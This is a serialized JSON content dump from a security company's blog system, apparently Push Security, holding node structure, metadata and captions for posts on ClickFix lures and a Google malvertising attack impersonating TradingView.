ks":112832,"value":107946,"nodeType":865},{},[],{"data":112834,"content":112835,"nodeType":882},{"uri":8759},[112836],{"data":112837,"marks":112838,"value":19437,"nodeType":865},{},[112839],{"type":997},{"data":112841,"marks":112842,"value":107957,"nodeType":865},{},[],{"data":112844,"content":112845,"nodeType":1458},{},[112846],{"data":112847,"marks":112848,"value":107965,"nodeType":865},{},[112849],{"type":961},{"data":112851,"content":112852,"nodeType":866},{},[112853],{"data":112854,"marks":112855,"value":107972,"nodeType":865},{},[],{"data":112857,"content":112860,"nodeType":925},{"target":112858},{"sys":112859},{"id":107977,"type":922,"linkType":923},[],{"data":112862,"content":112863,"nodeType":953},{},[],{"data":112865,"content":112866,"nodeType":963},{},[112867],{"data":112868,"marks":112869,"value":22744,"nodeType":865},{},[112870],{"type":961},{"data":112872,"content":112873,"nodeType":866},{},[112874],{"data":112875,"marks":112876,"value":107995,"nodeType":865},{},[],{"data":112878,"content":112879,"nodeType":866},{},[112880],{"data":112881,"marks":112882,"value":108002,"nodeType":865},{},[],{"data":112884,"content":112885,"nodeType":953},{},[],{"data":112887,"content":112888,"nodeType":963},{},[112889],{"data":112890,"marks":112891,"value":1704,"nodeType":865},{},[112892],{"type":961},{"data":112894,"content":112895,"nodeType":866},{},[112896],{"data":112897,"marks":112898,"value":108019,"nodeType":865},{},[],{"data":112900,"content":112901,"nodeType":866},{},[112902],{"data":112903,"marks":112904,"value":74702,"nodeType":865},{},[],{"data":112906,"content":112907,"nodeType":866},{},[112908,112911,112918,112921,112928],{"data":112909,"marks":112910,"value":32401,"nodeType":865},{},[],{"data":112912,"content":112913,"nodeType":882},{"uri":22700},[112914],{"data":112915,"marks":112916,"value":22706,"nodeType":865},{},[112917],{"type":997},{"data":112919,"marks":112920,"value":71034,"nodeType":865},{},[],{"data":112922,"content":112923,"nodeType":882},{"uri":1728},[112924],{"data":112925,"marks":112926,"value":22730,"nodeType":865},{},[112927],{"type":997},{"data":112929,"marks":112930,"value":1048,"nodeType":865},{},[],{"data":112932,"content":112935,"nodeType":925},{"target":112933},{"sys":112934},{"id":71049,"type":922,"linkType":923},[],{"data":112937,"content":112938,"nodeType":866},{},[112939],{"data":112940,"marks":112941,"value":21,"nodeType":865},{},[],{"items":112943},[112944,112946],{"sys":112945,"name":11426},{"id":11425},{"sys":112947,"name":342},{"id":8410},{"items":112949},[112950],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":112951},{"url":32449},{"__typename":1788,"sys":112953,"content":112954,"title":94407,"synopsis":94408,"hashTags":59,"publishedDate":94409,"slug":94410,"tagsCollection":113451,"authorsCollection":113457},{"id":93833},{"json":112955},{"data":112956,"content":112957,"nodeType":1739},{},[112958,112964,112970,112980,112985,112991,112994,113001,113007,113012,113025,113031,113052,113058,113063,113066,113073,113099,113104,113120,113125,113141,113147,113152,113155,113162,113168,113184,113190,113206,113212,113217,113220,113227,113233,113263,113269,113275,113315,113330,113339,113345,113348,113355,113371,113377,113383,113388,113391,113398,113414,113440,113445],{"data":112959,"content":112960,"nodeType":866},{},[112961],{"data":112962,"marks":112963,"value":93844,"nodeType":865},{},[],{"data":112965,"content":112966,"nodeType":866},{},[112967],{"data":112968,"marks":112969,"value":93851,"nodeType":865},{},[],{"data":112971,"content":112972,"nodeType":866},{},[112973,112976],{"data":112974,"marks":112975,"value":93858,"nodeType":865},{},[],{"data":112977,"marks":112978,"value":93863,"nodeType":865},{},[112979],{"type":961},{"data":112981,"content":112984,"nodeType":925},{"target":112982},{"sys":112983},{"id":70496,"type":922,"linkType":923},[],{"data":112986,"content":112987,"nodeType":866},{},[112988],{"data":112989,"marks":112990,"value":93875,"nodeType":865},{},[],{"data":112992,"content":112993,"nodeType":953},{},[],{"data":112995,"content":112996,"nodeType":963},{},[112997],{"data":112998,"marks":112999,"value":93886,"nodeType":865},{},[113000],{"type":961},{"data":113002,"content":113003,"nodeType":866},{},[113004],{"data":113005,"marks":113006,"value":93893,"nodeType":865},{},[],{"data":113008,"content":113011,"nodeType":925},{"target":113009},{"sys":113010},{"id":93898,"type":922,"linkType":923},[],{"data":113013,"content":113014,"nodeType":866},{},[113015,113018,113022],{"data":113016,"marks":113017,"value":93906,"nodeType":865},{},[],{"data":113019,"marks":113020,"value":93911,"nodeType":865},{},[113021],{"type":961},{"data":113023,"marks":113024,"value":93915,"nodeType":865},{},[],{"data":113026,"content":113027,"nodeType":866},{},[113028],{"data":113029,"marks":113030,"value":93922,"nodeType":865},{},[],{"data":113032,"content":113033,"nodeType":1049},{},[113034,113043],{"data":113035,"content":113036,"nodeType":1003},{},[113037],{"data":113038,"content":113039,"nodeType":866},{},[113040],{"data":113041,"marks":113042,"value":93935,"nodeType":865},{},[],{"data":113044,"content":113045,"nodeType":1003},{},[113046],{"data":113047,"content":113048,"nodeType":866},{},[113049],{"data":113050,"marks":113051,"value":93945,"nodeType":865},{},[],{"data":113053,"content":113054,"nodeType":866},{},[113055],{"data":113056,"marks":113057,"value":93952,"nodeType":865},{},[],{"data":113059,"content":113062,"nodeType":925},{"target":113060},{"sys":113061},{"id":93957,"type":922,"linkType":923},[],{"data":113064,"content":113065,"nodeType":953},{},[],{"data":113067,"content":113068,"nodeType":963},{},[113069],{"data":113070,"marks":113071,"value":93969,"nodeType":865},{},[113072],{"type":961},{"data":113074,"content":113075,"nodeType":866},{},[113076,113079,113086,113089,113096],{"data":113077,"marks":113078,"value":93976,"nodeType":865},{},[],{"data":113080,"content":113081,"nodeType":882},{"uri":70507},[113082],{"data":113083,"marks":113084,"value":93984,"nodeType":865},{},[113085],{"type":997},{"data":113087,"marks":113088,"value":93988,"nodeType":865},{},[],{"data":113090,"content":113091,"nodeType":882},{"uri":93991},[113092],{"data":113093,"marks":113094,"value":93997,"nodeType":865},{},[113095],{"type":997},{"data":113097,"marks":113098,"value":94001,"nodeType":865},{},[],{"data":113100,"content":113103,"nodeType":925},{"target":113101},{"sys":113102},{"id":94006,"type":922,"linkType":923},[],{"data":113105,"content":113106,"nodeType":866},{},[113107,113110,113117],{"data":113108,"marks":113109,"value":94014,"nodeType":865},{},[],{"data":113111,"content":113112,"nodeType":882},{"uri":94017},[113113],{"data":113114,"marks":113115,"value":94023,"nodeType":865},{},[113116],{"type":997},{"data":113118,"marks":113119,"value":22525,"nodeType":865},{},[],{"data":113121,"content":113124,"nodeType":925},{"target":113122},{"sys":113123},{"id":94031,"type":922,"linkType":923},[],{"data":113126,"content":113127,"nodeType":866},{},[113128,113131,113138],{"data":113129,"marks":113130,"value":94039,"nodeType":865},{},[],{"data":113132,"content":113133,"nodeType":882},{"uri":94042},[113134],{"data":113135,"marks":113136,"value":29898,"nodeType":865},{},[113137],{"type":997},{"data":113139,"marks":113140,"value":94051,"nodeType":865},{},[],{"data":113142,"content":113143,"nodeType":866},{},[113144],{"data":113145,"marks":113146,"value":94058,"nodeType":865},{},[],{"data":113148,"content":113151,"nodeType":925},{"target":113149},{"sys":113150},{"id":94063,"type":922,"linkType":923},[],{"data":113153,"content":113154,"nodeType":953},{},[],{"data":113156,"content":113157,"nodeType":963},{},[113158],{"data":113159,"marks":113160,"value":94075,"nodeType":865},{},[113161],{"type":961},{"data":113163,"content":113164,"nodeType":866},{},[113165],{"data":113166,"marks":113167,"value":94082,"nodeType":865},{},[],{"data":113169,"content":113170,"nodeType":866},{},[113171,113174,113181],{"data":113172,"marks":113173,"value":94089,"nodeType":865},{},[],{"data":113175,"content":113176,"nodeType":882},{"uri":94092},[113177],{"data":113178,"marks":113179,"value":94098,"nodeType":865},{},[113180],{"type":997},{"data":113182,"marks":113183,"value":94102,"nodeType":865},{},[],{"data":113185,"content":113186,"nodeType":866},{},[113187],{"data":113188,"marks":113189,"value":94109,"nodeType":865},{},[],{"data":113191,"content":113192,"nodeType":866},{},[113193,113196,113203],{"data":113194,"marks":113195,"value":94116,"nodeType":865},{},[],{"data":113197,"content":113198,"nodeType":882},{"uri":94119},[113199],{"data":113200,"marks":113201,"value":94125,"nodeType":865},{},[113202],{"type":997},{"data":113204,"marks":113205,"value":94129,"nodeType":865},{},[],{"data":113207,"content":113208,"nodeType":866},{},[113209],{"data":113210,"marks":113211,"value":94136,"nodeType":865},{},[],{"data":113213,"content":113216,"nodeType":925},{"target":113214},{"sys":113215},{"id":94141,"type":922,"linkType":923},[],{"data":113218,"content":113219,"nodeType":953},{},[],{"data":113221,"content":113222,"nodeType":963},{},[113223],{"data":113224,"marks":113225,"value":94153,"nodeType":865},{},[113226],{"type":961},{"data":113228,"content":113229,"nodeType":866},{},[113230],{"data":113231,"marks":113232,"value":94160,"nodeType":865},{},[],{"data":113234,"content":113235,"nodeType":1049},{},[113236,113245,113254],{"data":113237,"content":113238,"nodeType":1003},{},[113239],{"data":113240,"content":113241,"nodeType":866},{},[113242],{"data":113243,"marks":113244,"value":94173,"nodeType":865},{},[],{"data":113246,"content":113247,"nodeType":1003},{},[113248],{"data":113249,"content":113250,"nodeType":866},{},[113251],{"data":113252,"marks":113253,"value":94183,"nodeType":865},{},[],{"data":113255,"content":113256,"nodeType":1003},{},[113257],{"data":113258,"content":113259,"nodeType":866},{},[113260],{"data":113261,"marks":113262,"value":94193,"nodeType":865},{},[],{"data":113264,"content":113265,"nodeType":866},{},[113266],{"data":113267,"marks":113268,"value":94200,"nodeType":865},{},[],{"data":113270,"content":113271,"nodeType":866},{},[113272],{"data":113273,"marks":113274,"value":94207,"nodeType":865},{},[],{"data":113276,"content":113277,"nodeType":1049},{},[113278,113297,113306],{"data":113279,"content":113280,"nodeType":1003},{},[113281],{"data":113282,"content":113283,"nodeType":866},{},[113284,113287,113294],{"data":113285,"marks":113286,"value":94220,"nodeType":865},{},[],{"data":113288,"content":113289,"nodeType":882},{"uri":94223},[113290],{"data":113291,"marks":113292,"value":94229,"nodeType":865},{},[113293],{"type":997},{"data":113295,"marks":113296,"value":94233,"nodeType":865},{},[],{"data":113298,"content":113299,"nodeType":1003},{},[113300],{"data":113301,"content":113302,"nodeType":866},{},[113303],{"data":113304,"marks":113305,"value":94243,"nodeType":865},{},[],{"data":113307,"content":113308,"nodeType":1003},{},[113309],{"data":113310,"content":113311,"nodeType":866},{},[113312],{"data":113313,"marks":113314,"value":94253,"nodeType":865},{},[],{"data":113316,"content":113317,"nodeType":866},{},[113318,113321,113327],{"data":113319,"marks":113320,"value":94260,"nodeType":865},{},[],{"data":113322,"content":113323,"nodeType":882},{"uri":74512},[113324],{"data":113325,"marks":113326,"value":94267,"nodeType":865},{},[],{"data":113328,"marks":113329,"value":94271,"nodeType":865},{},[],{"data":113331,"content":113332,"nodeType":11214},{},[113333],{"data":113334,"content":113335,"nodeType":866},{},[113336],{"data":113337,"marks":113338,"value":94281,"nodeType":865},{},[],{"data":113340,"content":113341,"nodeType":866},{},[113342],{"data":113343,"marks":113344,"value":94288,"nodeType":865},{},[],{"data":113346,"content":113347,"nodeType":953},{},[],{"data":113349,"content":113350,"nodeType":963},{},[113351],{"data":113352,"marks":113353,"value":94299,"nodeType":865},{},[113354],{"type":961},{"data":113356,"content":113357,"nodeType":866},{},[113358,113361,113368],{"data":113359,"marks":113360,"value":94306,"nodeType":865},{},[],{"data":113362,"content":113363,"nodeType":882},{"uri":94309},[113364],{"data":113365,"marks":113366,"value":94315,"nodeType":865},{},[113367],{"type":997},{"data":113369,"marks":113370,"value":94319,"nodeType":865},{},[],{"data":113372,"content":113373,"nodeType":866},{},[113374],{"data":113375,"marks":113376,"value":94326,"nodeType":865},{},[],{"data":113378,"content":113379,"nodeType":866},{},[113380],{"data":113381,"marks":113382,"value":94333,"nodeType":865},{},[],{"data":113384,"content":113387,"nodeType":925},{"target":113385},{"sys":113386},{"id":94338,"type":922,"linkType":923},[],{"data":113389,"content":113390,"nodeType":953},{},[],{"data":113392,"content":113393,"nodeType":963},{},[113394],{"data":113395,"marks":113396,"value":16192,"nodeType":865},{},[113397],{"type":961},{"data":113399,"content":113400,"nodeType":866},{},[113401,113404,113411],{"data":113402,"marks":113403,"value":94356,"nodeType":865},{},[],{"data":113405,"content":113406,"nodeType":882},{"uri":94359},[113407],{"data":113408,"marks":113409,"value":94365,"nodeType":865},{},[113410],{"type":997},{"data":113412,"marks":113413,"value":94369,"nodeType":865},{},[],{"data":113415,"content":113416,"nodeType":866},{},[113417,113420,113427,113430,113437],{"data":113418,"marks":113419,"value":32401,"nodeType":865},{},[],{"data":113421,"content":113422,"nodeType":882},{"uri":22700},[113423],{"data":113424,"marks":113425,"value":22706,"nodeType":865},{},[113426],{"type":997},{"data":113428,"marks":113429,"value":71034,"nodeType":865},{},[],{"data":113431,"content":113432,"nodeType":882},{"uri":1728},[113433],{"data":113434,"marks":113435,"value":22730,"nodeType":865},{},[113436],{"type":997},{"data":113438,"marks":113439,"value":1048,"nodeType":865},{},[],{"data":113441,"content":113444,"nodeType":925},{"target":113442},{"sys":113443},{"id":93957,"type":922,"linkType":923},[],{"data":113446,"content":113447,"nodeType":866},{},[113448],{"data":113449,"marks":113450,"value":21,"nodeType":865},{},[],{"items":113452},[113453,113455],{"sys":113454,"name":342},{"id":8410},{"sys":113456,"name":11426},{"id":11425},{"items":113458},[113459],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":113460},{"url":11434},"analysing-a-sophisticated-google-malvertising-attack","blog/analysing-a-sophisticated-google-malvertising-attack",{"json":113464},{"data":113465,"content":113466,"nodeType":1739},{},[113467],{"data":113468,"content":113469,"nodeType":866},{},[113470],{"data":113471,"marks":113472,"value":113473,"nodeType":865},{},[],"Push recently detected and blocked a malvertising attack impersonating TradingView, designed to hijack Google Workspace accounts via Attacker-in-the-Middle phishing. Here’s what you need to know. ","Push recently detected and blocked a malvertising attack impersonating TradingView designed to hijack Google Workspace accounts.",{"id":113476,"publishedAt":113477},"2obwh6WiK5IP0hnqsV4CZQ","2026-08-12T11:53:29.517Z",{"items":113479},[113480,113482],{"sys":113481,"name":11426},{"id":11425},{"sys":113483,"name":342},{"id":8410},{"items":113485},[113486,113488,113490,113492,113494,113496,113498,113500,113502,113504,113506,113508,113510],{"sys":113487,"name":279,"slug":280,"tier":31},{"id":276},{"sys":113489,"name":519,"slug":520,"tier":31},{"id":516},{"sys":113491,"name":342,"slug":343,"tier":31},{"id":339},{"sys":113493,"name":440,"slug":441,"tier":45},{"id":437},{"sys":113495,"name":261,"slug":262,"tier":45},{"id":258},{"sys":113497,"name":324,"slug":325,"tier":45},{"id":321},{"sys":113499,"name":571,"slug":572,"tier":45},{"id":568},{"sys":113501,"name":466,"slug":467,"tier":45},{"id":463},{"sys":113503,"name":475,"slug":476,"tier":45},{"id":472},{"sys":113505,"name":315,"slug":316,"tier":45},{"id":312},{"sys":113507,"name":511,"slug":512,"tier":45},{"id":508},{"sys":113509,"name":351,"slug":352,"tier":45},{"id":348},{"sys":113511,"name":431,"slug":432,"tier":45},{"id":428},"FLM-1o_o6QaNOwDyiLUo2QqV24gLaljg5Ssim9_cBEg",{"id":113514,"title":94407,"authorsCollection":113515,"content":113520,"extension":228,"faqItemsCollection":114086,"faqTitle":59,"featured":6,"hashTags":59,"meta":114088,"metaTitle":114089,"ogImage":59,"postType":21460,"publishedDate":94409,"relatedBlogPostsCollection":114090,"slug":94410,"stem":115863,"subtitle":59,"summary":115864,"synopsis":94408,"sys":115874,"tagsCollection":115876,"topicsCollection":115882,"__hash__":115910},"blog/blog/the-most-advanced-clickfix-yet.json",{"items":113516},[113517],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":113518,"profilePicture":113519},[17536],{"url":11434},{"json":113521,"links":114017},{"data":113522,"content":113523,"nodeType":1739},{},[113524,113530,113536,113546,113551,113557,113560,113567,113573,113578,113591,113597,113618,113624,113629,113632,113639,113665,113670,113686,113691,113707,113713,113718,113721,113728,113734,113750,113756,113772,113778,113783,113786,113793,113799,113829,113835,113841,113881,113896,113905,113911,113914,113921,113937,113943,113949,113954,113957,113964,113980,114006,114011],{"data":113525,"content":113526,"nodeType":866},{},[113527],{"data":113528,"marks":113529,"value":93844,"nodeType":865},{},[],{"data":113531,"content":113532,"nodeType":866},{},[113533],{"data":113534,"marks":113535,"value":93851,"nodeType":865},{},[],{"data":113537,"content":113538,"nodeType":866},{},[113539,113542],{"data":113540,"marks":113541,"value":93858,"nodeType":865},{},[],{"data":113543,"marks":113544,"value":93863,"nodeType":865},{},[113545],{"type":961},{"data":113547,"content":113550,"nodeType":925},{"target":113548},{"sys":113549},{"id":70496,"type":922,"linkType":923},[],{"data":113552,"content":113553,"nodeType":866},{},[113554],{"data":113555,"marks":113556,"value":93875,"nodeType":865},{},[],{"data":113558,"content":113559,"nodeType":953},{},[],{"data":113561,"content":113562,"nodeType":963},{},[113563],{"data":113564,"marks":113565,"value":93886,"nodeType":865},{},[113566],{"type":961},{"data":113568,"content":113569,"nodeType":866},{},[113570],{"data":113571,"marks":113572,"value":93893,"nodeType":865},{},[],{"data":113574,"content":113577,"nodeType":925},{"target":113575},{"sys":113576},{"id":93898,"type":922,"linkType":923},[],{"data":113579,"content":113580,"nodeType":866},{},[113581,113584,113588],{"data":113582,"marks":113583,"value":93906,"nodeType":865},{},[],{"data":113585,"marks":113586,"value":93911,"nodeType":865},{},[113587],{"type":961},{"data":113589,"marks":113590,"value":93915,"nodeType":865},{},[],{"data":113592,"content":113593,"nodeType":866},{},[113594],{"data":113595,"marks":113596,"value":93922,"nodeType":865},{},[],{"data":113598,"content":113599,"nodeType":1049},{},[113600,113609],{"data":113601,"content":113602,"nodeType":1003},{},[113603],{"data":113604,"content":113605,"nodeType":866},{},[113606],{"data":113607,"marks":113608,"value":93935,"nodeType":865},{},[],{"data":113610,"content":113611,"nodeType":1003},{},[113612],{"data":113613,"content":113614,"nodeType":866},{},[113615],{"data":113616,"marks":113617,"value":93945,"nodeType":865},{},[],{"data":113619,"content":113620,"nodeType":866},{},[113621],{"data":113622,"marks":113623,"value":93952,"nodeType":865},{},[],{"data":113625,"content":113628,"nodeType":925},{"target":113626},{"sys":113627},{"id":93957,"type":922,"linkType":923},[],{"data":113630,"content":113631,"nodeType":953},{},[],{"data":113633,"content":113634,"nodeType":963},{},[113635],{"data":113636,"marks":113637,"value":93969,"nodeType":865},{},[113638],{"type":961},{"data":113640,"content":113641,"nodeType":866},{},[113642,113645,113652,113655,113662],{"data":113643,"marks":113644,"value":93976,"nodeType":865},{},[],{"data":113646,"content":113647,"nodeType":882},{"uri":70507},[113648],{"data":113649,"marks":113650,"value":93984,"nodeType":865},{},[113651],{"type":997},{"data":113653,"marks":113654,"value":93988,"nodeType":865},{},[],{"data":113656,"content":113657,"nodeType":882},{"uri":93991},[113658],{"data":113659,"marks":113660,"value":93997,"nodeType":865},{},[113661],{"type":997},{"data":113663,"marks":113664,"value":94001,"nodeType":865},{},[],{"data":113666,"content":113669,"nodeType":925},{"target":113667},{"sys":113668},{"id":94006,"type":922,"linkType":923},[],{"data":113671,"content":113672,"nodeType":866},{},[113673,113676,113683],{"data":113674,"marks":113675,"value":94014,"nodeType":865},{},[],{"data":113677,"content":113678,"nodeType":882},{"uri":94017},[113679],{"data":113680,"marks":113681,"value":94023,"nodeType":865},{},[113682],{"type":997},{"data":113684,"marks":113685,"value":22525,"nodeType":865},{},[],{"data":113687,"content":113690,"nodeType":925},{"target":113688},{"sys":113689},{"id":94031,"type":922,"linkType":923},[],{"data":113692,"content":113693,"nodeType":866},{},[113694,113697,113704],{"data":113695,"marks":113696,"value":94039,"nodeType":865},{},[],{"data":113698,"content":113699,"nodeType":882},{"uri":94042},[113700],{"data":113701,"marks":113702,"value":29898,"nodeType":865},{},[113703],{"type":997},{"data":113705,"marks":113706,"value":94051,"nodeType":865},{},[],{"data":113708,"content":113709,"nodeType":866},{},[113710],{"data":113711,"marks":113712,"value":94058,"nodeType":865},{},[],{"data":113714,"content":113717,"nodeType":925},{"target":113715},{"sys":113716},{"id":94063,"type":922,"linkType":923},[],{"data":113719,"content":113720,"nodeType":953},{},[],{"data":113722,"content":113723,"nodeType":963},{},[113724],{"data":113725,"marks":113726,"value":94075,"nodeType":865},{},[113727],{"type":961},{"data":113729,"content":113730,"nodeType":866},{},[113731],{"data":113732,"marks":113733,"value":94082,"nodeType":865},{},[],{"data":113735,"content":113736,"nodeType":866},{},[113737,113740,113747],{"data":113738,"marks":113739,"value":94089,"nodeType":865},{},[],{"data":113741,"content":113742,"nodeType":882},{"uri":94092},[113743],{"data":113744,"marks":113745,"value":94098,"nodeType":865},{},[113746],{"type":997},{"data":113748,"marks":113749,"value":94102,"nodeType":865},{},[],{"data":113751,"content":113752,"nodeType":866},{},[113753],{"data":113754,"marks":113755,"value":94109,"nodeType":865},{},[],{"data":113757,"content":113758,"nodeType":866},{},[113759,113762,113769],{"data":113760,"marks":113761,"value":94116,"nodeType":865},{},[],{"data":113763,"content":113764,"nodeType":882},{"uri":94119},[113765],{"data":113766,"marks":113767,"value":94125,"nodeType":865},{},[113768],{"type":997},{"data":113770,"marks":113771,"value":94129,"nodeType":865},{},[],{"data":113773,"content":113774,"nodeType":866},{},[113775],{"data":113776,"marks":113777,"value":94136,"nodeType":865},{},[],{"data":113779,"content":113782,"nodeType":925},{"target":113780},{"sys":113781},{"id":94141,"type":922,"linkType":923},[],{"data":113784,"content":113785,"nodeType":953},{},[],{"data":113787,"content":113788,"nodeType":963},{},[113789],{"data":113790,"marks":113791,"value":94153,"nodeType":865},{},[113792],{"type":961},{"data":113794,"content":113795,"nodeType":866},{},[113796],{"data":113797,"marks":113798,"value":94160,"nodeType":865},{},[],{"data":113800,"content":113801,"nodeType":1049},{},[113802,113811,113820],{"data":113803,"content":113804,"nodeType":1003},{},[113805],{"data":113806,"content":113807,"nodeType":866},{},[113808],{"data":113809,"marks":113810,"value":94173,"nodeType":865},{},[],{"data":113812,"content":113813,"nodeType":1003},{},[113814],{"data":113815,"content":113816,"nodeType":866},{},[113817],{"data":113818,"marks":113819,"value":94183,"nodeType":865},{},[],{"data":113821,"content":113822,"nodeType":1003},{},[113823],{"data":113824,"content":113825,"nodeType":866},{},[113826],{"data":113827,"marks":113828,"value":94193,"nodeType":865},{},[],{"data":113830,"content":113831,"nodeType":866},{},[113832],{"data":113833,"marks":113834,"value":94200,"nodeType":865},{},[],{"data":113836,"content":113837,"nodeType":866},{},[113838],{"data":113839,"marks":113840,"value":94207,"nodeType":865},{},[],{"data":113842,"content":113843,"nodeType":1049},{},[113844,113863,113872],{"data":113845,"content":113846,"nodeType":1003},{},[113847],{"data":113848,"content":113849,"nodeType":866},{},[113850,113853,113860],{"data":113851,"marks":113852,"value":94220,"nodeType":865},{},[],{"data":113854,"content":113855,"nodeType":882},{"uri":94223},[113856],{"data":113857,"marks":113858,"value":94229,"nodeType":865},{},[113859],{"type":997},{"data":113861,"marks":113862,"value":94233,"nodeType":865},{},[],{"data":113864,"content":113865,"nodeType":1003},{},[113866],{"data":113867,"content":113868,"nodeType":866},{},[113869],{"data":113870,"marks":113871,"value":94243,"nodeType":865},{},[],{"data":113873,"content":113874,"nodeType":1003},{},[113875],{"data":113876,"content":113877,"nodeType":866},{},[113878],{"data":113879,"marks":113880,"value":94253,"nodeType":865},{},[],{"data":113882,"content":113883,"nodeType":866},{},[113884,113887,113893],{"data":113885,"marks":113886,"value":94260,"nodeType":865},{},[],{"data":113888,"content":113889,"nodeType":882},{"uri":74512},[113890],{"data":113891,"marks":113892,"value":94267,"nodeType":865},{},[],{"data":113894,"marks":113895,"value":94271,"nodeType":865},{},[],{"data":113897,"content":113898,"nodeType":11214},{},[113899],{"data":113900,"content":113901,"nodeType":866},{},[113902],{"data":113903,"marks":113904,"value":94281,"nodeType":865},{},[],{"data":113906,"content":113907,"nodeType":866},{},[113908],{"data":113909,"marks":113910,"value":94288,"nodeType":865},{},[],{"data":113912,"content":113913,"nodeType":953},{},[],{"data":113915,"content":113916,"nodeType":963},{},[113917],{"data":113918,"marks":113919,"value":94299,"nodeType":865},{},[113920],{"type":961},{"data":113922,"content":113923,"nodeType":866},{},[113924,113927,113934],{"data":113925,"marks":113926,"value":94306,"nodeType":865},{},[],{"data":113928,"content":113929,"nodeType":882},{"uri":94309},[113930],{"data":113931,"marks":113932,"value":94315,"nodeType":865},{},[113933],{"type":997},{"data":113935,"marks":113936,"value":94319,"nodeType":865},{},[],{"data":113938,"content":113939,"nodeType":866},{},[113940],{"data":113941,"marks":113942,"value":94326,"nodeType":865},{},[],{"data":113944,"content":113945,"nodeType":866},{},[113946],{"data":113947,"marks":113948,"value":94333,"nodeType":865},{},[],{"data":113950,"content":113953,"nodeType":925},{"target":113951},{"sys":113952},{"id":94338,"type":922,"linkType":923},[],{"data":113955,"content":113956,"nodeType":953},{},[],{"data":113958,"content":113959,"nodeType":963},{},[113960],{"data":113961,"marks":113962,"value":16192,"nodeType":865},{},[113963],{"type":961},{"data":113965,"content":113966,"nodeType":866},{},[113967,113970,113977],{"data":113968,"marks":113969,"value":94356,"nodeType":865},{},[],{"data":113971,"content":113972,"nodeType":882},{"uri":94359},[113973],{"data":113974,"marks":113975,"value":94365,"nodeType":865},{},[113976],{"type":997},{"data":113978,"marks":113979,"value":94369,"nodeType":865},{},[],{"data":113981,"content":113982,"nodeType":866},{},[113983,113986,113993,113996,114003],{"data":113984,"marks":113985,"value":32401,"nodeType":865},{},[],{"data":113987,"content":113988,"nodeType":882},{"uri":22700},[113989],{"data":113990,"marks":113991,"value":22706,"nodeType":865},{},[113992],{"type":997},{"data":113994,"marks":113995,"value":71034,"nodeType":865},{},[],{"data":113997,"content":113998,"nodeType":882},{"uri":1728},[113999],{"data":114000,"marks":114001,"value":22730,"nodeType":865},{},[114002],{"type":997},{"data":114004,"marks":114005,"value":1048,"nodeType":865},{},[],{"data":114007,"content":114010,"nodeType":925},{"target":114008},{"sys":114009},{"id":93957,"type":922,"linkType":923},[],{"data":114012,"content":114013,"nodeType":866},{},[114014],{"data":114015,"marks":114016,"value":21,"nodeType":865},{},[],{"entries":114018},{"hyperlink":114019,"inline":114020,"block":114021},[],[],[114022,114024,114029,114033,114056,114063,114077,114084],{"sys":114023,"__typename":12453,"title":94407,"arcadeDemoUrl":109785,"playText":109786},{"id":70496},{"sys":114025,"__typename":1747,"title":114026,"caption":114026,"layoutMode":59,"file":114027},{"id":93898},"The most advanced ClickFix page we’ve seen — complete with an embedded video showing the victim how to complete the check.",{"url":114028,"width":1759,"height":106710},"https://images.ctfassets.net/y1cdw1ablpvd/ImveC0bIdp4QxXqHyQKz9/526f7ae589f71d0c23c7c738b8d0bc90/image3.png",{"sys":114030,"__typename":5631,"type":5632,"ctaText":114031,"buttonLabel":114032,"buttonColour":5635,"buttonUrl":94359},{"id":93957},"Check out our latest webinar for a deep dive into the evolution of ClickFix-style attacks, with real-world examples from investigations.","Watch On-demand",{"sys":114034,"__typename":9270,"content":114035,"name":114055,"title":59},{"id":94006},{"json":114036},{"data":114037,"content":114038,"nodeType":1739},{},[114039],{"data":114040,"content":114041,"nodeType":866},{},[114042,114046,114051],{"data":114043,"marks":114044,"value":114045,"nodeType":865},{},[],"Of the ClickFix pages intercepted by Push where the delivery vector was observed, ",{"data":114047,"marks":114048,"value":114050,"nodeType":865},{},[114049],{"type":961},"4 in 5 were accessed via Google Search.",{"data":114052,"marks":114053,"value":114054,"nodeType":865},{},[]," While other examples may have been stopped by controls such as email before the page could be loaded by the user, this shows a significant monitoring gap when it comes to non-email delivery vectors.","ClickFix blog insight box 2",{"sys":114057,"__typename":1747,"title":114058,"caption":114058,"layoutMode":59,"file":114059},{"id":94031},"Like other modern phishing attacks, ClickFix lures are distributed all over the internet — not just email.",{"url":114060,"width":114061,"height":114062},"https://images.ctfassets.net/y1cdw1ablpvd/4l0xLRs8Z1w3aXMbzzyFPL/9cb4721c53379da31a4019371072a7ef/image1.png",1696,986,{"sys":114064,"__typename":9270,"content":114065,"name":114076,"title":59},{"id":94063},{"json":114066},{"data":114067,"content":114068,"nodeType":1739},{},[114069],{"data":114070,"content":114071,"nodeType":866},{},[114072],{"data":114073,"marks":114074,"value":114075,"nodeType":865},{},[],"Although there are ways to block web pages from performing copy to clipboard via device settings or group policy, the practical reality of ClickFix means that these methods are not effective. Because ClickFix is a user gesture initiated paste event (some form of user interaction such as a button press is required on the page before loading the ClickFix lure) it cannot be blocked from the host.","ClickFix insight box 1",{"sys":114078,"__typename":1747,"title":114079,"caption":114079,"layoutMode":59,"file":114080},{"id":94141},"The current hybrid attack path sees the attacker deliver lures in the browser, to compromise the endpoint, to get access to creds and cookies stored in the browser. What if you could skip the endpoint altogether? ",{"url":114081,"width":114082,"height":114083},"https://images.ctfassets.net/y1cdw1ablpvd/7kIZUmQkiHKKX0kjZQYfia/a7957baa43f54fe407779e845240e27e/image2.png",1970,816,{"sys":114085,"__typename":12453,"title":103782,"arcadeDemoUrl":103783,"playText":12456},{"id":94338},{"items":114087},[],{},"Analyzing sophisticated ClickFix lures seen in the wild",{"items":114091},[114092,114661,115208],{"__typename":1788,"sys":114093,"content":114095,"title":114647,"synopsis":114648,"hashTags":59,"publishedDate":114649,"slug":114650,"tagsCollection":114651,"authorsCollection":114657},{"id":114094},"4wtqKNN8D4tvbICAQ17L1Z",{"json":114096},{"data":114097,"content":114098,"nodeType":1739},{},[114099,114107,114114,114121,114128,114134,114137,114145,114152,114159,114175,114218,114224,114231,114247,114254,114260,114263,114271,114278,114294,114313,114331,114351,114358,114361,114369,114387,114419,114425,114431,114434,114442,114460,114480,114487,114506,114512,114518,114521,114529,114536,114543,114575,114582,114585,114593,114600,114607,114614,114621],{"data":114100,"content":114101,"nodeType":963},{},[114102],{"data":114103,"marks":114104,"value":114106,"nodeType":865},{},[114105],{"type":961},"Phishing has moved outside of the 